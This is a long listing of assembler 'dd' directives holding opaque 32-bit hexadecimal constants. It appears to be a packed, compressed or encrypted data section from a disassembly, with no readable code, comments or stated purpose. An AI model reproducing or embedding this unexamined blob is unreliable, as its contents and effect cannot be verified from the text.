dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h
dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h
dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h
dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh
dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h
dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh
dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh
dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h
dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h
dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h
dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh
dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h
dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h
dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h
dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h
dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h
dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h
dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch
dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h
dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h
dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h
dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h
dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h
dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h
dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch
dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h
dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h
dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h
dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h
dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h
dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh
dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h
dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh
dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h
dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h
dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh
dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h
dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh
dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h
dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h
dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch
dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh
dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h
dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h
dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh
dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh
dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h
dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h
dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h
dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h
dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
dd 3F961E93h, 1EC41093h
dd 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h
dd 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h
dd 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh
dd 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh
dd 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h
dd 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h
dd 27B83411h, 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h
dd 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h
dd 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh
dd 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh
dd 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h
dd 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h
dd 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h
dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h
dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h, 2E3233h
dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h
dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h
dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h
dd 17AD23Dh, 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h
dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h
dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h
dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h
dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h
dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h
dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h
dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h
dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
dd 542849Ah, 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h
dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h
dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h
dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h
dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh
dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h
dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh
dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h
dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h
dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h
dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh
dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h
dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h
dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h
dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h
dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h
dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch
dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h
dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h
dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h
dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h
dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh
dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h
dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
dd 7873762Bh, 0F4915483h
dd 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch
dd 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h
dd 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h
dd 0C3146C81h, 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h
dd 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h
dd 76F20074h, 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh
dd 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h
dd 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h
dd 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h
dd 0A33A9333h, 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh
dd 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh
dd 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh
dd 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h
dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h
dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch
dd 91D259Dh, 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh
dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h
dd 195B03Ch, 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh
dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h
dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah
dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h
dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h
dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h
dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h, 0BA675274h
dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
dd 0D0F8C3F4h, 3970FCh, 83A0431h, 383C665Ch, 2E403D00h
dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h
dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h
dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh
dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h
dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh
dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah
dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h
dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh
dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h
dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h
dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h
dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h
dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h
dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h
dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h
dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh
dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h
dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h
dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh
dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h
dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h
dd 356D001Ch, 0DDBF5C36h
dd 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch
dd 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh
